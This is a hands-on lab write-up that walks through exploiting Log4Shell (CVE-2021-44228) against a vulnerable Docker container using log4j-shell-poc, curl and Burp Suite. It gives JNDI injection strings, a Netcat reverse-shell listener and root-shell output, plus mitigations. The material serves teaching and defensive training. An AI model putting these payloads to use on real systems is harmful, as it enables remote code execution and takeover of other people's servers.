
Hands-on lab for exploiting and understanding Log4Shell (CVE-2021-44228) using Docker, Kali Linux, Burp Suite and log4j-shell-poc. For teaching and defensive training in controlled lab environments only.
Log4Shell (CVE-2021-44228) is one of the most impactful remote code execution vulnerabilities ever disclosed. It affects Apache Log4j 2, a widely used Java logging framework, and allows attackers to execute arbitrary code by abusing JNDI lookups in log messages.
This guide provides a full, reproducible demonstration lab using:
log4j-shell-pocIt is designed for teaching, research, training, and defensive awareness in controlled environments only. The structure and style follow the same spirit as the companion “Shellshock” lab README.
poc.py to Use JDK 1.8.0_202curlThis lab must only be performed in a controlled environment where you have explicit authorisation (your own lab, classroom VMs, etc.).
Log4Shell (CVE-2021-44228) is a critical RCE vulnerability in Apache Log4j 2.
The problem arises because vulnerable Log4j2 versions interpret attacker-controlled strings such as:
${jndi:ldap://ATTACKER_IP:1389/a}
When this string is logged, Log4j:
In this lab, you will:
log4j-shell-poc.curl and via Burp Suite.By the end of this lab, you should be able to:
All components run on top of your existing virtual lab. For this write-up we assume:
Key idea
The attacker injects:
${jndi:ldap://192.168.1.4:1389/a}
into an HTTP header. The vulnerable app logs it using Log4j2 → performs a JNDI LDAP lookup to 192.168.1.4:1389 → downloads a malicious class from http://192.168.1.4:8000 → executes the class, which opens a reverse shell back to 192.168.1.4:9001.
On Kali you need:
nc).Throughout this guide we assume the Kali IP is:
192.168.1.4
If your IP differs, adjust all commands accordingly.
The PoC relies on Java SE 8 Update 202 (JDK 1.8.0_202) because later Java versions restrict the remote class loading behaviour used by this exploit.
Even if Kali already has OpenJDK 21 (or similar), you still need to install 8u202 separately.
mkdir -p ~/Log4Shell
cd ~/Log4Shell
Mirror root:
https://mirrors.huaweicloud.com/java/jdk/8u202-b08/
Download the Linux x64 tarball (≈185 MB):
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz # should be ~185M
/usr/bin/jdk1.8.0_202sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
The --strip-components=1 option removes the top-level directory from the archive so files land directly under /usr/bin/jdk1.8.0_202.
/usr/bin/jdk1.8.0_202/bin/java -version
Expected output:
java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)
If you see this, JDK 1.8.0_202 is correctly installed.
In a new terminal on Kali (you can remain in ~/Log4Shell):
docker run --name vulnerable-app --rm -p 8080:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
You should see logs similar to:
:: Spring Boot :: (v2.6.1)
Tomcat initialized with port(s): 8080 (http)
Tomcat started on port(s): 8080 (http) with context path ''
Started VulnerableAppApplication ...
http://127.0.0.1:8080/ from Kali.Quick sanity-check:
curl http://127.0.0.1:8080/
You may see a Whitelabel Error Page (HTTP 400). That is fine – all we need is the app running and logging requests.
log4j-shell-pocIn a new terminal:
cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc
Confirm files:
ls
# poc.py, target/, README, etc. Exploit.java will be generated later.
poc.py to Use JDK 1.8.0_202By default, poc.py expects to find a local JDK in a directory named jdk1.8.0_20 inside the repo. Instead, you installed JDK 8u202 in /usr/bin/jdk1.8.0_202, so you must update the script.
poc.py in an editornano poc.py
Search for jdk1.8.0_20 (in nano: Ctrl+W, type jdk1.8.0_20, press Enter).
You should find three occurrences such as:
subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])
exit_code = subprocess.call([
os.path.join(CUR_FOLDER, 'jdk1.8.0_20/bin/java'),
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
subprocess.run([
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java"),
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
Replace them with:
subprocess.run(["/usr/bin/jdk1.8.0_202/bin/javac", str(p)])
exit_code = subprocess.call([
"/usr/bin/jdk1.8.0_202/bin/java",
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
subprocess.run([
"/usr/bin/jdk1.8.0_202/bin/java",
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
Save and exit:
Ctrl + O → EnterCtrl + XThe PoC now uses JDK 1.8.0_202 from /usr/bin.
From ~/Log4Shell/log4j-shell-poc:
python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001
Parameters:
--userip – your Kali IP (attacker): e.g. 192.168.1.4.--webport – port for the embedded HTTP server: 8000.--lport – port the payload connects back to: 9001.If everything is configured correctly, you should see something like:
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://192.168.1.4:1389/a}
[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Listening on 0.0.0.0:1389
Important:
LDAP server is listening on port 1389.
HTTP server is listening on port 8000.
The exact payload to inject is printed:
${jndi:ldap://192.168.1.4:1389/a}
Leave this terminal running.
Open another new terminal on Kali:
nc -nvlp 9001
You should see:
listening on [any] 9001 ...
This listener will receive the reverse shell from the vulnerable application.
At this point you should have:
poc.py running LDAP (1389) and HTTP (8000).curlFirst, prove the exploit works using a raw HTTP request.
In a new terminal (or reuse one if available):
curl http://127.0.0.1:8080 \
-H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'
What happens:
X-Api-Version header.${jndi:ldap://192.168.1.4:1389/a} and performs a JNDI LDAP lookup.poc.py) responds with a reference to a malicious Java class hosted on your HTTP server.192.168.1.4:9001 and spawns a shell.If successful, your Netcat terminal shows:
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 48xxx
id
uid=0(root) gid=0(root) groups=0(root), ...
You now have a root shell inside the Docker container.
Try:
id
hostname
ls /
Exit with:
exit
Netcat will return to listening.
Now demonstrate the same exploit path using a browser mediated by Burp Suite.
Start Burp Suite on Kali.
In Burp, ensure the Proxy listener is running on 127.0.0.1:8080.
In Firefox:
127.0.0.1, Port: 8080.127.0.0.1.In Burp → Proxy → Intercept, ensure Intercept is ON.
In Firefox, browse to:
http://127.0.0.1:8080/
Burp will show the intercepted request, e.g.:
GET / HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 ...
...
In Repeater, modify the request to include an X-Api-Version header:
GET / HTTP/1.1
Host: 127.0.0.1:8080
X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Notes:
192.168.1.4 with your actual Kali IP if different.${} characters – they must appear exactly as shown.Connection: close keeps things simple (optional).poc.py and the Netcat listener are still running.You may again see a 400 Whitelabel Error Page – that is fine.
Check your Netcat terminal:
listening on [any] 9001 ...
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 37244
id
uid=0(root) gid=0(root) groups=0(root), ...
You have once again obtained a root shell on the container, this time using a Burp-modified HTTP request, which mirrors a realistic web exploitation workflow.
Attacker crafts the JNDI payload:
${jndi:ldap://192.168.1.4:1389/a}
Vulnerable application logs this string using Log4j2.
Log4j2 interprets ${jndi:...} and performs a JNDI lookup.
The lookup uses LDAP to contact the attacker’s LDAP server at 192.168.1.4:1389.
The LDAP server (marshalsec) replies with a javaNamingReference pointing to an attacker-controlled class hosted over HTTP, e.g.:
http://192.168.1.4:8000/Exploit.class
The victim JVM downloads and loads this class.
The class’s constructor opens a socket back to 192.168.1.4:9001 and binds /bin/sh to it.
The attacker’s Netcat listener receives the incoming connection and gains a remote root shell inside the container.
In real environments, multiple defensive layers should be applied.
For still-vulnerable deployments, add:
-Dlog4j2.formatMsgNoLookups=true
(Where applicable – note that not all vulnerable configurations are fixed by this flag alone.)
JndiLookup from log4j-core JARsAs a defence-in-depth measure:
zip -q -d log4j-core-*.jar \
org/apache/logging/log4j/core/lookup/JndiLookup.class
${jndi: or ${${lower:j}${upper:ndi}:.A condensed overview of commands used in this lab.
mkdir -p ~/Log4Shell
cd ~/Log4Shell
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz
sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
/usr/bin/jdk1.8.0_202/bin/java -version
docker run --name vulnerable-app --rm -p 8080:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc
poc.py Java paths (summary)Replace:
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac")
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java") # two uses
With:
"/usr/bin/jdk1.8.0_202/bin/javac"
"/usr/bin/jdk1.8.0_202/bin/java"
python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001
nc -nvlp 9001
curlcurl http://127.0.0.1:8080 \
-H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'
${jndi:ldap://192.168.1.4:1389/a}
X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}
kozmer/log4j-shell-pocchristophetd/log4shell-vulnerable-appLog4Shell (CVE-2021-44228) Teaching Lab – crafted with care for students, defenders, and ethical hackers worldwide.
Made with love by:
Haitham of Oman ❤️🇴🇲
| Component | Role / Description | Tools / Services | Example Addressing |
|---|
| Kali Linux VM (Attacker + Host) | Runs PoC exploit, LDAP server, HTTP server, Netcat listener, Burp Suite | Python 3, JDK 1.8.0_202, Netcat, Burp Suite, Docker, curl, Git | 192.168.1.4 (example Kali IP) |
| Vulnerable Log4j2 web application | Target; Spring Boot web app vulnerable to Log4Shell | Docker image: ghcr.io/christophetd/log4shell-vulnerable-app | Exposed at http://127.0.0.1:8080 |
| Description | Image |
|---|
| JDK installation / environment setup | ![]() |
| PoC script running (Trigger payload) | ![]() |
| Vulnerable Tomcat web application running | ![]() |
| Updating the PoC exploit script | ![]() |